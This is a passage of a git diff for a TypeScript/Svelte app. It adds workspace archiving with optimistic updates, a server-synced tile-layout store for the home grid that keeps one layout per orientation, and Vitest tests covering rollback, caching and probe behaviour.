+ // Optimistic: flip immediately so the tile leaves/enters the home grid.
+ list = applyArchived(list, id, archived);
+ const result = archived ? await http.archive(id) : await http.unarchive(id);
+ if (!result.ok) {
+ // Revert the optimistic flip on failure.
+ list = applyArchived(list, id, prev);
+ return result;
+ }
+ // Reconcile with the backend's default (active-only) filter so the
+ // archived tile is dropped / the unarchived tile is restored.
+ void this.refresh();
+ return result;
+ },
+
async remove(id): Promise<WorkspaceResult<{ closedCount: number }>> {
const result = await http.delete(id);
if (result.ok) void this.refresh();
diff --git a/src/features/workspaces/store.test.ts b/src/features/workspaces/store.test.ts
index 4caac9f..faec5bf 100644
--- a/src/features/workspaces/store.test.ts
+++ b/src/features/workspaces/store.test.ts
@@ -1,6 +1,7 @@
import type { Workspace, WorkspaceEntry } from "@dispatch/wire";
import { describe, expect, it, vi } from "vitest";
import type { WorkspaceResult } from "./adapter/http";
+import { archivedCreateMessage, type WorkspaceLookup } from "./logic/create";
import { createWorkspaceStore } from "./store.svelte";
function entry(overrides: Partial<WorkspaceEntry> = {}): WorkspaceEntry {
@@ -10,6 +11,7 @@ function entry(overrides: Partial<WorkspaceEntry> = {}): WorkspaceEntry {
defaultCwd: null,
defaultComputerId: null,
starred: false,
+ archived: false,
createdAt: 1,
lastActivityAt: 2,
conversationCount: 0,
@@ -22,11 +24,25 @@ function fakeHttp(opts: {
list?: readonly WorkspaceEntry[];
star?: (id: string) => Promise<WorkspaceResult<Workspace>>;
unstar?: (id: string) => Promise<WorkspaceResult<Workspace>>;
+ archive?: (id: string) => Promise<WorkspaceResult<Workspace>>;
+ unarchive?: (id: string) => Promise<WorkspaceResult<Workspace>>;
+ get?: (id: string) => Promise<WorkspaceLookup>;
+ ensure?: (id: string) => Promise<WorkspaceResult<Workspace>>;
}) {
return {
- list: vi.fn(async (): Promise<readonly WorkspaceEntry[]> => opts.list ?? []),
- ensure: vi.fn(),
- get: vi.fn(),
+ list: vi.fn(
+ async (_archived?: "true" | "false" | "all"): Promise<readonly WorkspaceEntry[]> =>
+ opts.list ?? [],
+ ),
+ ensure:
+ opts.ensure ??
+ vi.fn(
+ async (id: string): Promise<WorkspaceResult<Workspace>> => ({
+ ok: true,
+ value: entry({ id }),
+ }),
+ ),
+ get: vi.fn(opts.get ?? (async (): Promise<WorkspaceLookup> => ({ kind: "missing" }))),
setTitle: vi.fn(),
setDefaultCwd: vi.fn(),
setDefaultComputer: vi.fn(),
@@ -46,6 +62,22 @@ function fakeHttp(opts: {
value: entry({ id, starred: false }),
}),
),
+ archive:
+ opts.archive ??
+ vi.fn(
+ async (id: string): Promise<WorkspaceResult<Workspace>> => ({
+ ok: true,
+ value: entry({ id, archived: true }),
+ }),
+ ),
+ unarchive:
+ opts.unarchive ??
+ vi.fn(
+ async (id: string): Promise<WorkspaceResult<Workspace>> => ({
+ ok: true,
+ value: entry({ id, archived: false }),
+ }),
+ ),
delete: vi.fn(),
};
}
@@ -143,3 +175,131 @@ describe("createWorkspaceStore — setStarred", () => {
expect(store.list).toHaveLength(0);
});
});
+
+describe("createWorkspaceStore — setArchived", () => {
+ it("optimistically flips archived to true before the request resolves", async () => {
+ const http = fakeHttp({ list: [entry({ id: "a", archived: false })] });
+ const store = createWorkspaceStore(http);
+ await store.refresh();
+
+ let observedDuringCall = false;
+ http.archive = vi.fn(async (_id: string): Promise<WorkspaceResult<Workspace>> => {
+ // While the request is in flight, the store already shows the new state.
+ observedDuringCall = store.list[0]?.archived === true;
+ return { ok: true, value: entry({ id: "a", archived: true }) };
+ });
+
+ await store.setArchived("a", true);
+
+ expect(observedDuringCall).toBe(true);
+ expect(http.archive).toHaveBeenCalledWith("a");
+ });
+
+ it("calls unarchive (DELETE) when archiving false", async () => {
+ const http = fakeHttp({ list: [entry({ id: "a", archived: true })] });
+ const store = createWorkspaceStore(http);
+ await store.refresh();
+
+ await store.setArchived("a", false);
+
+ expect(http.unarchive).toHaveBeenCalledWith("a");
+ expect(http.archive).not.toHaveBeenCalled();
+ });
+
+ it("reverts the optimistic flip on error", async () => {
+ const http = fakeHttp({ list: [entry({ id: "a", archived: false })] });
+ const store = createWorkspaceStore(http);
+ await store.refresh();
+
+ http.archive = vi.fn(
+ async (): Promise<WorkspaceResult<Workspace>> => ({ ok: false, error: "boom" }),
+ );
+
+ const result = await store.setArchived("a", true);
+
+ expect(result).toEqual({ ok: false, error: "boom" });
+ expect(store.list[0]?.archived).toBe(false);
+ });
+
+ it("refreshes the active list after a successful archive", async () => {
+ const http = fakeHttp({ list: [entry({ id: "a", archived: false })] });
+ const store = createWorkspaceStore(http);
+ await store.refresh();
+ const listCallsBefore = http.list.mock.calls.length;
+
+ await store.setArchived("a", true);
+
+ // setArchived triggers a refresh() to reconcile the active-only list.
+ expect(http.list.mock.calls.length).toBeGreaterThan(listCallsBefore);
+ });
+});
+
+describe("createWorkspaceStore — create (archived-slug gate)", () => {
+ it("refuses an archived slug with the can't-create message and never calls ensure", async () => {
+ const http = fakeHttp({
+ get: async () => ({ kind: "found", workspace: entry({ id: "old", archived: true }) }),
+ });
+ const store = createWorkspaceStore(http);
+
+ const result = await store.create("old");
+
+ expect(result).toEqual({ ok: false, error: archivedCreateMessage("old") });
+ expect(http.ensure).not.toHaveBeenCalled();
+ });
+
+ it("proceeds for an existing non-archived slug (ensure is called as before)", async () => {
+ const http = fakeHttp({
+ get: async () => ({ kind: "found", workspace: entry({ id: "taken", archived: false }) }),
+ });
+ const store = createWorkspaceStore(http);
+
+ const result = await store.create("taken");
+
+ expect(result.ok).toBe(true);
+ expect(http.ensure).toHaveBeenCalledTimes(1);
+ });
+
+ it("proceeds for a brand-new slug (404 → missing)", async () => {
+ const http = fakeHttp({ get: async () => ({ kind: "missing" }) });
+ const store = createWorkspaceStore(http);
+
+ const result = await store.create("fresh");
+
+ expect(result.ok).toBe(true);
+ expect(http.ensure).toHaveBeenCalledTimes(1);
+ });
+
+ it("refuses when the existence check itself failed, without calling ensure (§3.4)", async () => {
+ const http = fakeHttp({ get: async () => ({ kind: "failed", error: "db down" }) });
+ const store = createWorkspaceStore(http);
+
+ const result = await store.create("maybe");
+
+ expect(result.ok).toBe(false);
+ if (!result.ok) expect(result.error).toContain("Couldn't check whether");
+ expect(http.ensure).not.toHaveBeenCalled();
+ });
+});
+
+describe("createWorkspaceStore — refreshArchived", () => {
+ it("loads the archived list via list('true') without touching the main list", async () => {
+ const http = fakeHttp({ list: [entry({ id: "active", archived: false })] });
+ const store = createWorkspaceStore(http);
+ await store.refresh();
+
+ // Point the archived call at a different payload.
+ http.list = vi.fn(
+ async (archived?: "true" | "false" | "all"): Promise<readonly WorkspaceEntry[]> =>
+ archived === "true"
+ ? [entry({ id: "done", archived: true })]
+ : [entry({ id: "active", archived: false })],
+ );
+
+ await store.refreshArchived();
+
+ expect(http.list).toHaveBeenCalledWith("true");
+ expect(store.archivedList.map((w) => w.id)).toEqual(["done"]);
+ // The main (active) list is untouched.
+ expect(store.list.map((w) => w.id)).toEqual(["active"]);
+ });
+});
diff --git a/src/features/workspaces/tile-layout-store.svelte.ts b/src/features/workspaces/tile-layout-store.svelte.ts
new file mode 100644
index 0000000..98a5c33
--- /dev/null
+++ b/src/features/workspaces/tile-layout-store.svelte.ts
@@ -0,0 +1,308 @@
+import type {
+ TileLayoutData as ContractTileLayoutData,
+ TileGeometryMode,
+} from "@dispatch/tile-layout-contract";
+import { createLocalStore } from "../../adapters/local-storage";
+import type { TileLayoutHttp } from "./adapter/tile-layout-http";
+import {
+ type Cell,
+ type GridGeometry,
+ mergeLayout,
+ pinAtFirstEmpty,
+ placeAtCell,
+ resizeTile,
+ sanitizeLayout,
+ sortByRecentActivity,
+ type TileLayoutData,
+ type TileLayoutEntry,
+} from "./logic/tile-layout";
+
+/**
+ * Tile-layout store — the synced arrangement of the home grid, ONE shared
+ * document PER device orientation (`wide` = landscape/desktop, `tall` =
+ * portrait/mobile), persisted through the INJECTED `TileLayoutHttp` edge
+ * (the `home-tile-layout` plugin's well-known routes). Mirrors the layout
+ * feature's store semantics:
+ *
+ * - **Orientation selection** — `setMode(mode)` (the home page's effect on
+ * the resolved grid geometry) is the boot + orientation-change trigger:
+ * an orientation CHANGE seeds from its cached server layout and probes that
+ * orientation's document fresh. Same-mode calls are a no-op. The store
+ * probes its INITIAL mode on creation (the boot probe).
+ * - **Server-backed** — a successful probe applies the server document;
+ * edits apply locally IMMEDIATELY, then PUT the whole document (decision 7
+ * — no patch protocol) lightly debounced; a failed PUT on a present
+ * backend rolls back to the last server document with a quiet console
+ * warning (never an error UI).
+ * - **WS push** — `onServerTileLayout(mode, data)` applies a `tile-layout`
+ * broadcast, ignoring the OTHER orientation (the server fans out to all
+ * clients; the client filters by mode).
+ * - **Quiet degrade** — any probe/write failure (backend unreachable, routes
+ * not served) keeps the local state with EPHEMERAL edits (in-memory only —
+ * only server-confirmed layouts are cached); logged once, no error UI.
+ * - **Sync gating** — `sync(ids)` no-ops while the first probe for an
+ * orientation is in flight (`providerState === "unknown"`): merging the
+ * live workspace list into an unprobed empty document would PUT a wiped
+ * arrangement. The caller's effect re-runs when the state settles.
+ *
+ * No ambient state: one instance per home page, created by the page entry
+ * (or injected in tests).
+ */
+
+/** Whether the backend is serving the active orientation's document. */
+export type TileLayoutProviderState = "unknown" | "present" | "absent";
+
+export interface TileLayoutStore {
+ /** The persisted entries of the ACTIVE orientation, order-sorted. */
+ readonly entries: readonly TileLayoutEntry[];
+ /** The active orientation (the home page's resolved grid geometry mode). */
+ readonly mode: TileGeometryMode;
+ /** The backend's serving state for the ACTIVE orientation. */
+ readonly providerState: TileLayoutProviderState;
+ /**
+ * Select the active orientation and probe its document. Same-mode calls
+ * are a no-op (the boot probe fires on creation for the initial mode);
+ * an orientation CHANGE seeds from its cache + probes fresh.
+ */
+ setMode(mode: TileGeometryMode): void;
+ /** Re-probe the ACTIVE orientation's document (reconnect catch-up). */
+ probe(): Promise<void>;
+ /** Server `tile-layout` broadcast. Other orientations are ignored. */
+ onServerTileLayout(mode: TileGeometryMode, data: ContractTileLayoutData): void;
+ /**
+ * Merge the live workspace ids into the layout: workspaces unknown to the
+ * layout append (unpinned — they flow to the first free cells), entries for
+ * deleted workspaces drop (their cells become gaps). A no-op (no write)
+ * when the merge changes nothing — so an effect that tracks both the
+ * workspace list and this store settles instead of looping.
+ */
+ sync(workspaceIds: readonly string[]): void;
+ /** Resize a tile (persisted spans; render-time clamping is separate). */
+ resize(id: string, colSpan: number, rowSpan: number): void;
+ /**
+ * Drop a tile at a specific CELL (the drag commit): the contiguous filled
+ * run pushes forward from that cell (gaps absorb it), every resulting
+ * position pins. See `placeAtCell`.
+ */
+ placeAtCell(id: string, cell: Cell, geometry: GridGeometry): void;
+ /**
+ * Pin (or re-pin) the tile at the FIRST EMPTY slot — the header-create
+ * flow. Idempotent (see `pinAtFirstEmpty`).
+ */
+ placeFirstEmpty(id: string, geometry: GridGeometry): void;
+ /** Re-apply the recent-activity order AND clear all pins (the reset). */
+ sortByRecentActivity(lastActivityById: ReadonlyMap<string, number>): void;
+}
+
+export interface TileLayoutStoreOptions {
+ /** The injected HTTP edge (the `home-tile-layout` plugin's routes). */
+ readonly http: TileLayoutHttp;
+ /** Initial viewport orientation (default wide). */
+ readonly initialMode?: TileGeometryMode;
+ /** Injected localStorage for server-layout snapshots; absent → no cache. */
+ readonly storage?: Storage | undefined;
+ /** Edit-PUT debounce window in ms (default 300; tests shrink it). */
+ readonly debounceMs?: number;
+ /** The quiet-failure hook (default `console.warn` — never an error UI). */
+ readonly warn?: (message: string) => void;
+}
+
+const DEFAULT_DEBOUNCE_MS = 300;
+
+export function createTileLayoutStore(opts: TileLayoutStoreOptions): TileLayoutStore {
+ const http = opts.http;
+ const debounceMs = opts.debounceMs ?? DEFAULT_DEBOUNCE_MS;
+ const warn = opts.warn ?? ((message: string) => console.warn(message));
+
+ const cache = {
+ wide: createLocalStore<TileLayoutData>("dispatch.tile-layout.wide", { storage: opts.storage }),
+ tall: createLocalStore<TileLayoutData>("dispatch.tile-layout.tall", { storage: opts.storage }),
+ };
+ const initialMode = opts.initialMode ?? "wide";
+ let mode = $state<TileGeometryMode>(initialMode);
+ // The ACTIVE orientation's document — the server's copy once a probe has
+ // landed (sanitized defensively; the backend validates strictly), the
+ // cached server snapshot (or empty default) until then. Never PUT the seed.
+ let data = $state<TileLayoutData>(sanitizeLayout(cache[initialMode].load()));
+ let providerState = $state<TileLayoutProviderState>("unknown");
+
+ /** The last document known to come from the server (GET / WS push / PUT echo) — the rollback target. */
+ let lastServerLayout: TileLayoutData | null = null;
+ /** The pending edit-PUT timer (the "lightly debounced" write). */
+ let putTimer: ReturnType<typeof setTimeout> | null = null;
+ /** Logged-once guard for the degrade log (reset when the backend returns). */
+ let loggedAbsent = false;
+
+ function noteAbsent(reason: string): void {
+ providerState = "absent";
+ if (!loggedAbsent) {
+ loggedAbsent = true;
+ warn(
+ `tile-layout: backend not serving the layout (${reason}) — rendering the local default; edits are ephemeral`,
+ );
+ }
+ }
+
+ function notePresent(): void {
+ providerState = "present";
+ loggedAbsent = false;
+ }
+
+ function applyServerLayout(next: TileLayoutData): void {
+ lastServerLayout = next;
+ data = next;
+ cache[mode].save(next);
+ }
+
+ function clearPutTimer(): void {
+ if (putTimer !== null) {
+ clearTimeout(putTimer);
+ putTimer = null;
+ }
+ }
+
+ async function flushPut(): Promise<void> {
+ putTimer = null;
+ // Read the CURRENT document at fire time: a newer edit supersedes the
+ // debounced snapshot (one in-flight write per window, last wins).
+ const writtenMode = mode;
+ const result = await http.putLayout(writtenMode, { version: 2, tiles: data.tiles });
+ if (result.ok) cache[writtenMode].save(sanitizeLayout(result.layout));
+ if (writtenMode !== mode) return;
+ if (result.ok) {
+ notePresent();
+ // The server's validated echo is the new rollback target.
+ lastServerLayout = sanitizeLayout(result.layout);
+ return;
+ }
+ if (providerState !== "present") {
+ // The backend is gone (or never was): keep the local edit (ephemeral),
+ // no rollback — there is no server document to roll back TO.
+ noteAbsent(result.error);
+ return;
+ }
+ // A failed write on a PRESENT backend: roll back to the last server
+ // document, quiet console warning (never an error UI).
+ warn(
+ `tile-layout: persisting the layout failed (${result.error}) — rolled back to the last server document`,
+ );
+ if (lastServerLayout !== null) data = lastServerLayout;
+ }
+
+ async function runProbe(): Promise<void> {
+ // Capture the mode AT START: a setMode may happen while the fetch is in
+ // flight — only the CURRENT mode's result may land (the reset in
+ // setMode already staged the fresh default; a stale response must never
+ // overwrite it).
+ const probed = mode;
+ const result = await http.getLayout(mode);
+ if (probed !== mode) return;
+ if (result.ok) {
+ notePresent();
+ applyServerLayout(sanitizeLayout(result.layout));
+ } else {
+ // A real failure (5xx, 404 = routes not served, malformed, network)
+ // degrades quietly — the local default keeps rendering.
+ noteAbsent(result.error);
+ }
+ }
+
+ function commit(tiles: readonly TileLayoutEntry[]): void {
+ // A pure op that changed nothing (e.g. a no-op place) doesn't write.
+ if (sameEntries(tiles, data.tiles)) return;
+ data = { version: 2, tiles };
+ if (providerState === "unknown") return; // first probe still in flight
+ if (providerState === "absent") return; // ephemeral — no write, no warning
+ clearPutTimer();
+ putTimer = setTimeout(() => {
+ void flushPut().catch(() => {
+ // Network-grade failure: roll back to the last server document, quietly.
+ warn("tile-layout: persisting the layout failed — rolled back to the last server document");
+ if (lastServerLayout !== null) data = lastServerLayout;
+ });
+ }, debounceMs);
+ }
+
+ // Boot probe for the initial mode — the home page's setMode effect either
+ // confirms it (no-op) or switches it (fresh probe).
+ void runProbe();
+
+ return {
+ get entries(): readonly TileLayoutEntry[] {
+ return data.tiles;
+ },
+ get mode(): TileGeometryMode {
+ return mode;
+ },
+ get providerState(): TileLayoutProviderState {
+ return providerState;
+ },
+
+ setMode(next) {
+ if (next === mode) return;
+ mode = next;
+ // The document belongs to the OLD orientation now: seed from this
+ // mode's cache while the probe resolves (never flash the other
+ // orientation's arrangement), and drop any queued edit.
+ clearPutTimer();
+ lastServerLayout = null;
+ data = sanitizeLayout(cache[mode].load());
+ providerState = "unknown";
+ void runProbe();
+ },
+
+ async probe() {
+ await runProbe();
+ },
+
+ onServerTileLayout(pushMode, next) {
+ if (pushMode !== mode) return; // clients filter by orientation
+ notePresent();
+ clearPutTimer(); // the server's copy supersedes any queued edit
+ applyServerLayout(sanitizeLayout(next));
+ },
+
+ sync(workspaceIds): void {
+ // Never merge into an UNPROBED empty document: before the first probe
+ // resolves, "empty" is our placeholder, not a real arrangement — and
+ // merging live ids into it could PUT a wiped layout. The caller's
+ // effect re-runs when the state settles (it tracks providerState).
+ if (providerState === "unknown") return;
+ const merged = mergeLayout(data, workspaceIds);
+ if (!sameEntries(merged, data.tiles)) commit(merged);
+ },
+
+ resize(id, colSpan, rowSpan): void {
+ commit(resizeTile(data.tiles, id, colSpan, rowSpan));
+ },
+
+ placeAtCell(id, cell, geometry): void {
+ commit(placeAtCell(data.tiles, id, cell, geometry));
+ },
+
+ placeFirstEmpty(id, geometry): void {
+ commit(pinAtFirstEmpty(data.tiles, id, geometry));
+ },
+
+ sortByRecentActivity(lastActivityById): void {
+ commit(sortByRecentActivity(data.tiles, lastActivityById));
+ },
+ };
+}
+
+/** Structural equality over entries (ids, spans, orders, anchors). */
+function sameEntries(a: readonly TileLayoutEntry[], b: readonly TileLayoutEntry[]): boolean {
+ if (a.length !== b.length) return false;
+ return a.every((entry, index) => {
+ const other = b[index];
+ return (
+ other !== undefined &&
+ entry.id === other.id &&
+ entry.colSpan === other.colSpan &&
+ entry.rowSpan === other.rowSpan &&
+ entry.order === other.order &&
+ entry.col === other.col &&
+ entry.row === other.row
+ );
+ });
+}
diff --git a/src/features/workspaces/tile-layout-store.test.ts b/src/features/workspaces/tile-layout-store.test.ts
new file mode 100644
index 0000000..b5af8b6
--- /dev/null
+++ b/src/features/workspaces/tile-layout-store.test.ts
@@ -0,0 +1,449 @@
+import type { TileGeometryMode, TileLayoutData } from "@dispatch/tile-layout-contract";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { TileLayoutHttp, TileLayoutHttpResult } from "./adapter/tile-layout-http";
+import { geometryFor, type TileLayoutEntry } from "./logic/tile-layout";
+import { createTileLayoutStore } from "./tile-layout-store.svelte";
+
+const WIDE = geometryFor(1920, 1080);
+
+function tile(id: string, order: number, colSpan = 1, rowSpan = 1): TileLayoutEntry {
+ return { id, order, colSpan, rowSpan };
+}
+
+function doc(...tiles: TileLayoutEntry[]): TileLayoutData {
+ return { version: 2, tiles };
+}
+
+/** A controllable fake HTTP edge: per-mode documents + a call log (no mocks of our modules). */
+function fakeHttp(
+ initial: Partial<Record<TileGeometryMode, TileLayoutData>> = {},
+): TileLayoutHttp & {
+ docs: Map<TileGeometryMode, TileLayoutData>;
+ puts: Array<{ mode: TileGeometryMode; layout: TileLayoutData }>;
+ failNext: { get: string | null; put: string | null };
+} {
+ const docs = new Map<TileGeometryMode, TileLayoutData>(
+ Object.entries(initial) as Array<[TileGeometryMode, TileLayoutData]>,
+ );
+ const puts: Array<{ mode: TileGeometryMode; layout: TileLayoutData }> = [];
+ const failNext = { get: null as string | null, put: null as string | null };
+ const ok = (layout: TileLayoutData): TileLayoutHttpResult => ({ ok: true, layout });
+ return {
+ docs,
+ puts,
+ failNext,
+ async getLayout(mode) {
+ if (failNext.get !== null) {
+ const error = failNext.get;
+ failNext.get = null;
+ return { ok: false, notFound: false, error };
+ }
+ return ok(docs.get(mode) ?? doc());
+ },
+ async putLayout(mode, layout) {
+ if (failNext.put !== null) {
+ const error = failNext.put;
+ failNext.put = null;
+ return { ok: false, notFound: false, error };
+ }
+ puts.push({ mode, layout });
+ docs.set(mode, layout);
+ return ok(layout);
+ },
+ async deleteLayout(mode) {
+ docs.set(mode, doc());
+ return ok(docs.get(mode) as TileLayoutData);
+ },
+ };
+}
+
+/** Flush the boot probe + debounced timers (microtasks first, then the clock). */
+async function settle(): Promise<void> {
+ await vi.advanceTimersByTimeAsync(0);
+ await vi.advanceTimersByTimeAsync(300);
+ await Promise.resolve();
+}
+
+async function flushOnly(): Promise<void> {
+ await vi.advanceTimersByTimeAsync(0);
+ await Promise.resolve();
+}
+
+describe("createTileLayoutStore", () => {
+ beforeEach(() => {
+ vi.useFakeTimers();
+ localStorage.clear();
+ });
+ afterEach(() => {
+ vi.useRealTimers();
+ localStorage.clear();
+ });
+
+ it("the boot probe applies the server document for the initial mode", async () => {
+ const http = fakeHttp({ wide: doc(tile("a", 0, 2, 2)) });
+ const store = createTileLayoutStore({ http });
+ await flushOnly();
+ expect(store.entries).toEqual([tile("a", 0, 2, 2)]);
+ expect(store.providerState).toBe("present");
+ expect(store.mode).toBe("wide");
+ });
+
+ it("honors the initial tall mode with exactly one probe and no same-mode reset", async () => {
+ const http = fakeHttp({ tall: doc(tile("mobile", 0)) });
+ const get = vi.spyOn(http, "getLayout");
+ const store = createTileLayoutStore({ http, initialMode: "tall" });
+ store.setMode("tall");
+ await flushOnly();
+ expect(get.mock.calls).toEqual([["tall"]]);
+ expect(store.mode).toBe("tall");
+ expect(store.entries).toEqual([tile("mobile", 0)]);
+ });
+
+ it("seeds from cache immediately without PUT or caching edits before revalidation", async () => {
+ const cached = doc(tile("cached", 0, 2, 2));
+ localStorage.setItem("dispatch.tile-layout.tall", JSON.stringify(cached));
+ const http = fakeHttp();
+ const gate: { release?: (result: TileLayoutHttpResult) => void } = {};
+ http.getLayout = () =>
+ new Promise((resolve) => {
+ gate.release = resolve;
+ });
+ const store = createTileLayoutStore({ http, initialMode: "tall", storage: localStorage });
+ expect(store.entries).toEqual(cached.tiles);
+ expect(store.providerState).toBe("unknown");
+
+ store.sync(["cached", "new"]);
+ store.resize("cached", 1, 1);
+ await settle();
+ expect(http.puts).toEqual([]);
+ expect(JSON.parse(localStorage.getItem("dispatch.tile-layout.tall") ?? "null")).toEqual(cached);
+
+ const fresh = doc(tile("server", 0));
+ gate.release?.({ ok: true, layout: fresh });
+ await settle();
+ expect(store.entries).toEqual(fresh.tiles);
+ expect(store.providerState).toBe("present");
+ expect(http.puts).toEqual([]);
+ expect(JSON.parse(localStorage.getItem("dispatch.tile-layout.tall") ?? "null")).toEqual(fresh);
+ });
+
+ it("resets to the new mode's cache and re-probes on orientation change", async () => {
+ const cached = doc(tile("cached-mobile", 0));
+ localStorage.setItem("dispatch.tile-layout.tall", JSON.stringify(cached));
+ const http = fakeHttp({ wide: doc(tile("desktop", 0)) });
+ const get = vi.spyOn(http, "getLayout");
+ const store = createTileLayoutStore({ http, storage: localStorage });
+ await flushOnly();
+
+ store.setMode("tall");
+ expect(store.providerState).toBe("unknown");
+ expect(store.entries).toEqual(cached.tiles);
+ await flushOnly();
+ expect(store.entries).toEqual([]);
+ expect(get.mock.calls).toEqual([["wide"], ["tall"]]);
+ });
+
+ it("caches server GET, WS push, and successful PUT echoes, never unconfirmed edits", async () => {
+ const http = fakeHttp({ wide: doc(tile("a", 0)) });
+ const store = createTileLayoutStore({ http, storage: localStorage });
+ const cached = () => JSON.parse(localStorage.getItem("dispatch.tile-layout.wide") ?? "null");
+ await flushOnly();
+ expect(cached()).toEqual(doc(tile("a", 0)));
+
+ store.onServerTileLayout("tall", doc(tile("ignored", 0)));
+ expect(localStorage.getItem("dispatch.tile-layout.tall")).toBeNull();
+ store.onServerTileLayout("wide", doc(tile("push", 0)));
+ expect(cached()).toEqual(doc(tile("push", 0)));
+
+ store.resize("push", 2, 2);
+ expect(cached()).toEqual(doc(tile("push", 0)));
+ await settle();
+ expect(cached()).toEqual(doc(tile("push", 0, 2, 2)));
+
+ http.failNext.put = "network down";
+ store.resize("push", 1, 1);
+ await settle();
+ expect(cached()).toEqual(doc(tile("push", 0, 2, 2)));
+ });
+
+ it("caches an in-flight PUT echo under its written mode after an orientation change", async () => {
+ const http = fakeHttp({ wide: doc(tile("desktop", 0)), tall: doc(tile("mobile", 0)) });
+ const gate: { release?: (result: TileLayoutHttpResult) => void } = {};
+ http.putLayout = () =>
+ new Promise((resolve) => {
+ gate.release = resolve;
+ });
+ const store = createTileLayoutStore({ http, storage: localStorage });
+ await flushOnly();
+ store.resize("desktop", 2, 2);
+ await settle();
+ store.setMode("tall");
+ await flushOnly();
+ gate.release?.({ ok: true, layout: doc(tile("desktop", 0, 2, 2)) });
+ await flushOnly();
+ expect(store.entries).toEqual([tile("mobile", 0)]);
+ expect(JSON.parse(localStorage.getItem("dispatch.tile-layout.tall") ?? "null")).toEqual(
+ doc(tile("mobile", 0)),
+ );
+ expect(JSON.parse(localStorage.getItem("dispatch.tile-layout.wide") ?? "null")).toEqual(
+ doc(tile("desktop", 0, 2, 2)),
+ );
+ });
+
+ it.each([
+ "invalid JSON",
+ '{"version":2,"tiles":"bad"}',
+ ])("ignores malformed cache (%s) and supports storageless contexts", (raw) => {
+ localStorage.setItem("dispatch.tile-layout.wide", raw);
+ const store = createTileLayoutStore({ http: fakeHttp(), storage: localStorage });
+ expect(store.entries).toEqual([]);
+ expect(createTileLayoutStore({ http: fakeHttp() }).entries).toEqual([]);
+ });
+
+ it("sanitizes the server document defensively (a junk shape degrades to empty)", async () => {
+ const http = fakeHttp();
+ http.docs.set("wide", { junk: true } as unknown as TileLayoutData);
+ const store = createTileLayoutStore({ http });
+ await flushOnly();
+ expect(store.entries).toEqual([]);
+ });
+
+ it("a probe failure degrades to absent (ephemeral edits, no PUT)", async () => {
+ const warn = vi.fn();
+ const http = fakeHttp();
+ http.failNext.get = "network down";
+ const store = createTileLayoutStore({ http, warn });
+ await flushOnly();
+ expect(store.providerState).toBe("absent");
+
+ store.resize("a", 3, 3); // applied locally…
+ store.sync(["a"]);
+ await settle();
+ expect(store.entries.map((t) => t.id)).toEqual(["a"]);
+ expect(http.puts).toHaveLength(0); // …but never written
+ expect(warn).toHaveBeenCalledTimes(1); // logged ONCE, no error UI
+ });
+
+ it("setMode switches orientation: reset + fresh probe (documents are independent)", async () => {
+ const http = fakeHttp({
+ wide: doc(tile("desktop", 0)),
+ tall: doc(tile("mobile", 0)),
+ });
+ const store = createTileLayoutStore({ http });
+ await flushOnly();
+ expect(store.entries.map((t) => t.id)).toEqual(["desktop"]);
+
+ store.setMode("tall");
+ expect(store.entries).toEqual([]);
+ expect(store.providerState).toBe("unknown");
+ await flushOnly();
+ expect(store.mode).toBe("tall");
+ expect(store.entries.map((t) => t.id)).toEqual(["mobile"]);
+
+ store.setMode("tall"); // same-mode call: a no-op
+ store.setMode("wide");
+ await flushOnly();
+ expect(store.entries.map((t) => t.id)).toEqual(["desktop"]);
+ });
+
+ it("an in-flight probe for a stale mode never lands", async () => {
+ const http = fakeHttp({ wide: doc(tile("desktop", 0)) });
+ // A holder object defeats TS's closure narrowing (a bare `let` read after
+ // the callback-assigned write narrows to `null` and the call sites to
+ // `never`).
+ const gate: { release: ((value: TileLayoutHttpResult) => void) | null } = { release: null };
+ const slow = http.getLayout.bind(http);
+ http.getLayout = (mode) =>
+ mode === "tall"
+ ? new Promise<TileLayoutHttpResult>((resolve) => {
+ gate.release = resolve;
+ })
+ : slow(mode);
+ const store = createTileLayoutStore({ http });
+ await flushOnly();
+
+ store.setMode("tall"); // probe in flight…
+ store.setMode("wide"); // …superseded before it resolves
+ gate.release?.({ ok: true, layout: doc(tile("mobile", 0)) });
+ await flushOnly();
+
+ // The stale tall response must NOT overwrite the active wide document.
+ expect(store.mode).toBe("wide");
+ expect(store.entries.map((t) => t.id)).toEqual(["desktop"]);
+ });
+
+ it("a WS push applies for the ACTIVE mode and is IGNORED for the other", async () => {
+ const http = fakeHttp({ wide: doc(tile("a", 0)) });
+ const store = createTileLayoutStore({ http });
+ await flushOnly();
+
+ store.onServerTileLayout("tall", doc(tile("mobile-push", 0)));
+ expect(store.entries.map((t) => t.id)).toEqual(["a"]); // filtered
+
+ store.onServerTileLayout("wide", doc(tile("push", 0)));
+ expect(store.entries.map((t) => t.id)).toEqual(["push"]); // applied
+ });
+
+ it("edits apply locally IMMEDIATELY, then PUT the whole document (debounced)", async () => {
+ const http = fakeHttp({ wide: doc(tile("a", 0)) });
+ const store = createTileLayoutStore({ http, debounceMs: 300 });
+ await flushOnly();
+
+ store.resize("a", 4, 2);
+ expect(store.entries).toEqual([tile("a", 0, 4, 2)]); // local, no wait
+ expect(http.puts).toHaveLength(0);
+
+ await vi.advanceTimersByTimeAsync(300);
+ expect(http.puts).toEqual([{ mode: "wide", layout: doc(tile("a", 0, 4, 2)) }]);
+ });
+
+ it("edits ride the ACTIVE mode's document (the tall PUT names tall)", async () => {
+ const http = fakeHttp({ tall: doc(tile("m", 0)) });
+ const store = createTileLayoutStore({ http });
+ store.setMode("tall");
+ await flushOnly();
+
+ store.resize("m", 2, 2);
+ await settle();
+ expect(http.puts).toEqual([{ mode: "tall", layout: doc(tile("m", 0, 2, 2)) }]);
+ });
+
+ it("a failed PUT on a present backend rolls back to the last server document", async () => {
+ const warn = vi.fn();
+ const http = fakeHttp({ wide: doc(tile("a", 0)) });
+ const store = createTileLayoutStore({ http, warn, debounceMs: 300 });
+ await flushOnly();
+
+ http.failNext.put = "500 gone";
+ store.resize("a", 4, 2);
+ await settle();
+
+ expect(store.entries).toEqual([tile("a", 0)]); // rolled back
+ expect(warn).toHaveBeenCalledTimes(1);
+ });
+
+ it("sync merges the live workspace list (gated while the first probe is in flight)", async () => {
+ const http = fakeHttp({ wide: doc(tile("a", 0)) });
+ const store = createTileLayoutStore({ http });
+ // NO flush — the boot probe is still in flight (providerState unknown).
+
+ store.sync(["a", "b"]); // would merge into the empty placeholder…
+ expect(store.providerState).toBe("unknown");
+ expect(store.entries).toEqual([]); // …so it is a no-op until the probe settles
+
+ await flushOnly();
+ store.sync(["a", "b"]);
